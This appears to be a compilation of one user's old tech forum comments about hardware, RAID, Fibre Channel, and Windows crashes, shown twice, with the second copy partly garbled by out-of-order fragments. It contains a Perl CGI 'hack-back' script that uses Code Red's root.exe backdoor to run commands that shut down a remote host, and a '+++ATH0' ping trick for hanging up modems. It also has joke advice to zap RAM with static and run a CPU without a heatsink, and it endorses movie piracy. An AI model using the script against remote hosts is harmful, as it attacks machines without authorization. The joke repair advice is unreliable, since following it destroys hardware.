These are probably just development tools - see where the card is state-wise, watch important data fly around, and figure out where in the routines it crashes. That sort of thing. (Sorta similar to the port 80 card for PCs, shows debug output from the POST on 2x 7segment LEDs)
GRPCONV was first introduced with Win95, may be in 98, probably not in later versions. It converted.GRP files (Windows 3.1 program groups) into Start Menu shortcuts and directories. Fairly useless.
There is one guaranteed way to make 2k (and probably XP) bluescreen - install completely bogus drivers. If you have some old weird hardware, install something completely wrong for it, such as a mass storage driver for a video card. Guaranteed to screw your computer harder than the goatse man.
One of my friends insists on using cheap NICs in his SERVER machine - Linksys cheapo pieces of junk from Orifice Depot. They will work for maybe a month or two, and Win2k Server will start bluescreening fairly regularly (they cause kernel panics and PCI bus parity errors in a linux box). Once this happens, the card is toast - go buy a Realtek RTL8139 (or a 3com 3c905b-tx). He once accidentally installed PCMCIA drivers for his PCI NIC (thought PC Card = PCI) and it seriously screwed Win2k over. It bluescreened during the boot process 9/10ths of the time, and froze randomly 15sec after login the other few times. He had to pull both NICs to get Win2k not to load the drivers.
I have a Powerbook G3 Wallstreet 266/128m running 10.1.5. The only time that it's slow is when I run Mozilla and do a 3d render in Bryce at the same time (I'm not joking - I render 100's of frames at 1024x768x32bit color on this machine, while doing other stuff). I could speed it up some by adding RAM (which I'm going to do), but for now it's livable. Mozilla is pretty bloated and not completely Carbonized, so I can see why it'd run slow.
You have to take into account the much higher data density of a hard disk platter. For a good example, take the Seagate ST380021A drive - 80gb 7200rpm IDE. It has 2 platters and uses 4 heads, one on each side of each platter. 80gb / 4 surfaces = 20 gb per surface, which is quite a bit larger than 700mb/surface as is found commonly in CDs.
Please correct me if I'm wrong, but here goes the fuzzy math... 20gb per platter spinning at 7200rpm in a drive whose read speed is about 20mb/sec. 20gb / 20m/sec = 1000 seconds to read 20gb. CDs read 150kb of data per X (speed). 1x = 150kb/sec.
To read at 20mb/sec from a CD, 20000k/sec / 150k/sec = 133x, which would be slightly in excess of 60,000 RPM (i think).
I probably got this part wrong: A 700mb CD = 5" diameter (with 1.5" hole + unusable area) Useful area is (pi * 5^2) - (pi * 1.5^2), or (78.53975 - 7.06858) = 71.47117 in^2 for 700mb. Let's say 70 in^2, for simplicity. That's 10mb/in^2. A 20gb CD would have to be 2000 in^2, which is about 25" diameter. Ouch.
No, that reference is printed out and sent to the
server that's requesting default.ida. It doesn't mean that the perl script is a troll. I don't have any code-red infested boxes to test it on, so I can't tell if it works. If you want to run it independently, replace the $ENV{REMOTE_ADDR} with the IP address (or hostname) of your "target", enclosed in quotes.
You can tint your windows and modify your exhaust system all you want, as long as you use the car on your own property. To use it on a PUBLIC road, there are regulations. These don't stop you from doing it, only from using the roads if your car doesn't meet specs for tint and exhaust systems.
I just knocked together this perl script to send those items out, run it as a CGI script. Any comments / suggestions? WARNING: I'm still learning perl... this could be (is?) ugly!
#!/usr/bin/perl # This is a CGI script. Properly linked from your # web server, it turns around and issues commands # to a code red-infected server that is trying # to kill your server. Make $YOURSERVER/default.ida run # this CGI script, and watch the other server stop its # IIS service and shut down windows.
use LWP::Simple; my $incoming; my $request;
print "HTTP/1.0 200 OK\n\nBeginning rooting of your code-red-infested box...\n"; print "This could look weird on your logs if you're not infected and just poking around.\n\n";
How many people here have read Red Dwarf? Not the TV show, but the books. Remember that the Coca-Cola company hired a ship to create 127 (I think that's the number) supernovas around the galaxy, creating the message "Coke adds life" in bright light, to be visible for weeks, day or night. Now THAT's invasive!
USB Scanners are notoriously strange, even under Windows. There's no standardized interface - each one has a different command set to work with, with different hardware quirks. If Epson (who makes good high-end printers, don't know about their scanners) didn't release drivers for it, it probably won't work, as no one is going to reverse-engineer drivers
for every single USB scanner on the market. They're
different enough that one driver won't work for
all of them, or even most of them - hundreds of
drivers are needed, each for a different scanner
model #.
In conclusion, go pick up on eBay: An Adaptec 2940 SCSI card Cable from back of SCSI card to Centronics 50 MicroTek Scanmaker E6 or similar
Those items won't cost too much and are very
compatible with linux - I used that exact same
setup with RedHat 6.2 (before I gave away the
scanner)
I "steal" movies, sure. All the time. I download a screener or a DVDrip, to see if the movie is any good. If it is, I'll go see it in the theater, or go rent it from Hollywood Video. Am I really causing damage doing this? If I can't watch a movie beforehand, unless it's a sequel and I liked the first one or something, I usually won't go see it. In this case, cutting off my file-sharing actually causes them to lose money.
In a ping, the computer receives the data and sends it back verbatim. If you have a ping packet that contains something like this:
(cr/lf) +++ATH0 (cr/lf)
and the modem sees that as it is echoed back out, it takes it as a command and hangs up. It has to be
sent by the computer that the modem is connected to, or it won't acknowledge it. Ping works perfectly for this
Not really. If everyone and his mother camped out and used his bandwidth, his cable modem would quickly hit its 125kb/sec down/25kb/sec up cap (that's mine, yours may vary). It would affect the people using his wireless network, but not other cable modem subscribers - I max out my cable modem all day and I haven't gotten any death threats yet...
An LCD monitor is all viewable area. None is held
behind by the bezel, or rendered useless by edge-geometry effects like on a CRT. You pay for 15" diagonal on a LCD, you get exactly that - no less.
Sounds like you have some bad hardware, probably RAM. It sounds like your RAM is becoming too dynamic. You need to change it back into 'static' RAM. To do this, remove the RAM modules from your motherboard and place them on a table. Shuffle your feet and/or rub a baloon in your hair, then zap the modules with static electricity. Repeat this a few times, then put them back in your computer; all should be well.
If this does not work, I'd still bet on a RAM problem of sorts, which narrows it to your L2 cache. Repeat the proceedure above, replacing the RAM modules with your processor. Be sure and charge every pin, or it may not work afterwards. You don't want the static to dissipate and make it dynamic again, so don't put the static dissipation device (commonly called a 'heatsink') back on. Power up your computer again, and the problem should solve itself.
No, really, it does sound like a hardware fault. Probably RAM - try swapping your modules around.
I beg to differ on this. Ultra320 SCSI may be insanely expensive; I've never used it, so I wouldn't know. However, Fibre Channel is not insanely expensive. If you look on eBay under a certain seller , 9.1gb 10,000RPM Seagate FC drives go for $9 each. A Fibre Channel interface card that sticks onto these drives and attaches them to the "loop," while normally costing $50 or more on eBay, I make for about $9 in parts each (including PCB). Cabling is simple - CAT5[e] works perfectly. The Fibre Channel HBA isn't too cheap - around $100 (this is the card you stick in your computer) - but I bought a pair of HP Copper HBAs for $20 each, shipped.
My computer isn't waiting to happen, it has happened. I had a hard drive plugged in outside my computer and dumped a bunch of stuff on it without thinking. Came back an hour later to a very, very dead drive with lots of burn marks on the bottom and a funny smell. I have had accidents with power supplies twice. Once was when a Molex connector was worn down to being rounded on all 4 corners. I plugged it in upside-down and away the hard drive went, with a crackle and funny smell. Also, I got a power Y-cable that was wired BACKWARDS - blew up my vintage 1997 2x cdrom drive! (This was a month or so ago)
My friend had a run-in with this... His dad's computer is in one of those desks with a computer area with a door on the front. The desk back is pushed up against the wall. He had a Celeron 400, which already ran just a little hot. Anyways, he left for a week with the computer on, and the door shut accidentally. My friend describes the smell that eminated from it as 'burnt cookies.' He gave me the motherboard, CPU, DVD drive, and CD burner - all fried by the (very dead) PS. The DVD drive gave a solid green light and a bad smell upon power up. The CD burner didn't really do anything. The CPU was dead, but not burnt. The motherboard had a few burned patches - interestingly enough, the hardware sensor chip (detects fan speeds, temperature, voltage) was blown most of the way off the motherboard and had only a few legs and a crater left.
This Serial ATA sounds a lot like Fibre Channel. Fibre Channel is like Serial SCSI. It runs at 1 or 2 Gbps, supports 125 drives per loop, and is hot-swappable with proper backplane support (port bypass circuits, so taking a drive out will not break the loop). Fibre Channel backplanes are incredibly expensive, but I wrote up a schematic for drive interface cards (T-cards) that cost about $9/drive. Assuming Serial ATA reaches these speeds, I'll have to upgrade... I recently built a small Fibre Channel drive array for some high-performance storage needs. RAID5'd together, 9 Seagate 10,000RPM 9.1gb drives gave about 65gb usuable formatted space altogether. Transfer rates were incredible - 55 MB/s write, 80MB/s read, and it would be even more (write speeds would be higher) if the array ran RAID0. Only problem is that the array sounds like a jet engine starting up when you turn it on, and is very loud due to all of the cooling (3x 5" 12v 85cfm fans). Hopefully, the Serial ATA drives won't need this kind of environmental support...
You can get a (decent) SCSI RAID controller for about
$40. I have one and paid $36 for it. Go to eBay and search for an IBM ServeRAID controller. The cheap ones have 3 Ultra Wide channels (68pin, the 40MB/s kind), and support up to 45 drives on one controller.
Unfortunatly, they're a bit slow - or maybe it was my drives that were slow, but I only got about 20 MB/s out of a 2 drive RAID0 (2x 7200rpm 9.1gig drives). Even nicer to do - pick up a 6-drive SCA80 backplane and get hot-swapping. I got one for $35 and hooked it right up via the Ultra Wide SCSI channel. Worked wonders (except when someone at a net party pulled the drive off my computer while it was on, and definatly in non-hotswap-capable mode - RAID0 hates that).
I think that the best way to take care of the Palladium chip would be a logic analyzer and a copy of Windoze PL or whatever, and then an FPGA and a rat's-nest of wires once you can duplicate its functions, except for the part about checking the software. DMCA be damned. I'll move to Canada.
Or, if you want to take the easy approach, just desolder the chip and see if it still boots Linux. Add random jumper wires until something explodes or works, take your pick.
Who the heck downloads a 512mb movie file? I never go for anything less than 1gb, and even then the quality might not be high enough. You want to see high quality movies, go download The Last Castle in 2 CD-parts from eDonkey. Now that's a DVD rip (assuming you get the same ones I did). Damn good movie, too.
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These are probably just development tools - see where the card is state-wise, watch important data fly around, and figure out where in the routines it crashes. That sort of thing. (Sorta similar to the port 80 card for PCs, shows debug output from the POST on 2x 7segment LEDs)
GRPCONV was first introduced with Win95, may be in 98, probably not in later versions. It converted .GRP files (Windows 3.1 program groups) into Start Menu shortcuts and directories. Fairly useless.
There is one guaranteed way to make 2k (and probably XP) bluescreen - install completely bogus drivers. If you have some old weird hardware, install something completely wrong for it, such as a mass storage driver for a video card. Guaranteed to screw your computer harder than the goatse man.
One of my friends insists on using cheap NICs in his SERVER machine - Linksys cheapo pieces of junk from Orifice Depot. They will work for maybe a month or two, and Win2k Server will start bluescreening fairly regularly (they cause kernel panics and PCI bus parity errors in a linux box). Once this happens, the card is toast - go buy a Realtek RTL8139 (or a 3com 3c905b-tx). He once accidentally installed PCMCIA drivers for his PCI NIC (thought PC Card = PCI) and it seriously screwed Win2k over. It bluescreened during the boot process 9/10ths of the time, and froze randomly 15sec after login the other few times. He had to pull both NICs to get Win2k not to load the drivers.
I have a Powerbook G3 Wallstreet 266/128m running 10.1.5. The only time that it's slow is when I run Mozilla and do a 3d render in Bryce at the same time (I'm not joking - I render 100's of frames at 1024x768x32bit color on this machine, while doing other stuff). I could speed it up some by adding RAM (which I'm going to do), but for now it's livable. Mozilla is pretty bloated and not completely Carbonized, so I can see why it'd run slow.
Seen on a button or bumper sticker: "Guns don't kill people, I kill people"
You have to take into account the much higher data density of a hard disk platter. For a good example, take the Seagate ST380021A drive - 80gb 7200rpm IDE. It has 2 platters and uses 4 heads, one on each side of each platter. 80gb / 4 surfaces = 20 gb per surface, which is quite a bit larger than 700mb/surface as is found commonly in CDs.
Please correct me if I'm wrong, but here goes the fuzzy math... 20gb per platter spinning at 7200rpm in a drive whose read speed is about 20mb/sec. 20gb / 20m/sec = 1000 seconds to read 20gb. CDs read 150kb of data per X (speed). 1x = 150kb/sec. To read at 20mb/sec from a CD, 20000k/sec / 150k/sec = 133x, which would be slightly in excess of 60,000 RPM (i think).
I probably got this part wrong: A 700mb CD = 5" diameter (with 1.5" hole + unusable area) Useful area is (pi * 5^2) - (pi * 1.5^2), or (78.53975 - 7.06858) = 71.47117 in^2 for 700mb. Let's say 70 in^2, for simplicity. That's 10mb/in^2. A 20gb CD would have to be 2000 in^2, which is about 25" diameter. Ouch.
No, that reference is printed out and sent to the server that's requesting default.ida. It doesn't mean that the perl script is a troll. I don't have any code-red infested boxes to test it on, so I can't tell if it works. If you want to run it independently, replace the $ENV{REMOTE_ADDR} with the IP address (or hostname) of your "target", enclosed in quotes.
You can tint your windows and modify your exhaust system all you want, as long as you use the car on your own property. To use it on a PUBLIC road, there are regulations. These don't stop you from doing it, only from using the roads if your car doesn't meet specs for tint and exhaust systems.
I just knocked together this perl script to send
s top",$ENV{REMOTE_ADDR});
x e+shell32.dll,SHExitWindowsEX+5" ,$ENV{REMOTE_ADDR});
/. reference
those items out, run it as a CGI script. Any
comments / suggestions? WARNING: I'm still learning perl... this could be (is?) ugly!
#!/usr/bin/perl
# This is a CGI script. Properly linked from your
# web server, it turns around and issues commands
# to a code red-infected server that is trying
# to kill your server. Make $YOURSERVER/default.ida run
# this CGI script, and watch the other server stop its
# IIS service and shut down windows.
use LWP::Simple;
my $incoming;
my $request;
print "HTTP/1.0 200 OK\n\nBeginning rooting of your code-red-infested box...\n";
print "This could look weird on your logs if you're not infected and just poking around.\n\n";
$request = sprintf("http://%s/scripts/root.exe?/c+iisreset+/
$incoming = get $request;
print "\n", $request, "\n\n", $incoming, "\n\n";
$request = sprintf("http://%s/scripts/root.exe?/c+rundll32.e
$incoming = get $request;
print "\n", $request, "\n\n", $incoming, "\n\n";
#Obligatory
print "YHBT. Have a nice day.\n\n";
How many people here have read Red Dwarf? Not the TV show, but the books. Remember that the Coca-Cola company hired a ship to create 127 (I think that's the number) supernovas around the galaxy, creating the message "Coke adds life" in bright light, to be visible for weeks, day or night. Now THAT's invasive!
USB Scanners are notoriously strange, even under Windows. There's no standardized interface - each one has a different command set to work with, with different hardware quirks. If Epson (who makes good high-end printers, don't know about their scanners) didn't release drivers for it, it probably won't work, as no one is going to reverse-engineer drivers for every single USB scanner on the market. They're different enough that one driver won't work for all of them, or even most of them - hundreds of drivers are needed, each for a different scanner model #.
In conclusion, go pick up on eBay:
An Adaptec 2940 SCSI card
Cable from back of SCSI card to Centronics 50
MicroTek Scanmaker E6 or similar
Those items won't cost too much and are very compatible with linux - I used that exact same setup with RedHat 6.2 (before I gave away the scanner)
I "steal" movies, sure. All the time. I download a screener or a DVDrip, to see if the movie is any good. If it is, I'll go see it in the theater, or go rent it from Hollywood Video. Am I really causing damage doing this? If I can't watch a movie beforehand, unless it's a sequel and I liked the first one or something, I usually won't go see it. In this case, cutting off my file-sharing actually causes them to lose money.
In a ping, the computer receives the data and sends it back verbatim. If you have a ping packet that contains something like this:
(cr/lf)
+++ATH0
(cr/lf)
and the modem sees that as it is echoed back out, it takes it as a command and hangs up. It has to be sent by the computer that the modem is connected to, or it won't acknowledge it. Ping works perfectly for this
I compiled Wine (and WineX, later on) in under 10 minutes on a lowly Tbird 1400 w/ 256mb DDR. Full compile - make clean all install
Not really. If everyone and his mother camped out and used his bandwidth, his cable modem would quickly hit its 125kb/sec down/25kb/sec up cap (that's mine, yours may vary). It would affect the people using his wireless network, but not other cable modem subscribers - I max out my cable modem all day and I haven't gotten any death threats yet...
An LCD monitor is all viewable area. None is held behind by the bezel, or rendered useless by edge-geometry effects like on a CRT. You pay for 15" diagonal on a LCD, you get exactly that - no less.
How will Windows eXtra Porous (more security holes than ever before) help his computer be more stable?
A DELL?!?! Thou shalt be drawn and quartered for thine suggestion of a DELL!
Sounds like you have some bad hardware, probably RAM. It sounds like your RAM is becoming too dynamic. You need to change it back into 'static' RAM. To do this, remove the RAM modules from your motherboard and place them on a table. Shuffle your feet and/or rub a baloon in your hair, then zap the modules with static electricity. Repeat this a few times, then put them back in your computer; all should be well.
If this does not work, I'd still bet on a RAM problem of sorts, which narrows it to your L2 cache. Repeat the proceedure above, replacing the RAM modules with your processor. Be sure and charge every pin, or it may not work afterwards. You don't want the static to dissipate and make it dynamic again, so don't put the static dissipation device (commonly called a 'heatsink') back on. Power up your computer again, and the problem should solve itself.
No, really, it does sound like a hardware fault. Probably RAM - try swapping your modules around.
I beg to differ on this. Ultra320 SCSI may be insanely expensive; I've never used it, so I wouldn't know. However, Fibre Channel is not insanely expensive. If you look on eBay under a certain seller , 9.1gb 10,000RPM Seagate FC drives go for $9 each. A Fibre Channel interface card that sticks onto these drives and attaches them to the "loop," while normally costing $50 or more on eBay, I make for about $9 in parts each (including PCB). Cabling is simple - CAT5[e] works perfectly. The Fibre Channel HBA isn't too cheap - around $100 (this is the card you stick in your computer) - but I bought a pair of HP Copper HBAs for $20 each, shipped.
My computer isn't waiting to happen, it has happened. I had a hard drive plugged in outside my computer and dumped a bunch of stuff on it without thinking. Came back an hour later to a very, very dead drive with lots of burn marks on the bottom and a funny smell. I have had accidents with power supplies twice. Once was when a Molex connector was worn down to being rounded on all 4 corners. I plugged it in upside-down and away the hard drive went, with a crackle and funny smell. Also, I got a power Y-cable that was wired BACKWARDS - blew up my vintage 1997 2x cdrom drive! (This was a month or so ago)
My friend had a run-in with this... His dad's computer is in one of those desks with a computer area with a door on the front. The desk back is pushed up against the wall. He had a Celeron 400, which already ran just a little hot. Anyways, he left for a week with the computer on, and the door shut accidentally. My friend describes the smell that eminated from it as 'burnt cookies.' He gave me the motherboard, CPU, DVD drive, and CD burner - all fried by the (very dead) PS. The DVD drive gave a solid green light and a bad smell upon power up. The CD burner didn't really do anything. The CPU was dead, but not burnt. The motherboard had a few burned patches - interestingly enough, the hardware sensor chip (detects fan speeds, temperature, voltage) was blown most of the way off the motherboard and had only a few legs and a crater left.
This Serial ATA sounds a lot like Fibre Channel.
Fibre Channel is like Serial SCSI. It runs at 1 or 2 Gbps, supports 125 drives per loop, and is hot-swappable with proper backplane support (port bypass circuits, so taking a drive out will not break the loop). Fibre Channel backplanes are incredibly expensive, but I wrote up a schematic for drive interface cards (T-cards) that cost about $9/drive. Assuming Serial ATA reaches these speeds, I'll have to upgrade...
I recently built a small Fibre Channel drive array for some high-performance storage needs. RAID5'd together, 9 Seagate 10,000RPM 9.1gb drives gave about 65gb usuable formatted space altogether. Transfer rates were incredible - 55 MB/s write, 80MB/s read, and it would be even more (write speeds would be higher) if the array ran RAID0. Only problem is that the array sounds like a jet engine starting up when you turn it on, and is very loud due to all of the cooling (3x 5" 12v 85cfm fans). Hopefully, the Serial ATA drives won't need this kind of environmental support...
You can get a (decent) SCSI RAID controller for about $40. I have one and paid $36 for it. Go to eBay and search for an IBM ServeRAID controller. The cheap ones have 3 Ultra Wide channels (68pin, the 40MB/s kind), and support up to 45 drives on one controller. Unfortunatly, they're a bit slow - or maybe it was my drives that were slow, but I only got about 20 MB/s out of a 2 drive RAID0 (2x 7200rpm 9.1gig drives). Even nicer to do - pick up a 6-drive SCA80 backplane and get hot-swapping. I got one for $35 and hooked it right up via the Ultra Wide SCSI channel. Worked wonders (except when someone at a net party pulled the drive off my computer while it was on, and definatly in non-hotswap-capable mode - RAID0 hates that).
I think that the best way to take care of the Palladium chip would be a logic analyzer and a copy of Windoze PL or whatever, and then an FPGA and a rat's-nest of wires once you can duplicate its functions, except for the part about checking the software. DMCA be damned. I'll move to Canada.
Or, if you want to take the easy approach, just desolder the chip and see if it still boots Linux. Add random jumper wires until something explodes or works, take your pick.
Who the heck downloads a 512mb movie file? I never go for anything less than 1gb, and even then the quality might not be high enough. You want to see high quality movies, go download The Last Castle in 2 CD-parts from eDonkey. Now that's a DVD rip (assuming you get the same ones I did). Damn good movie, too.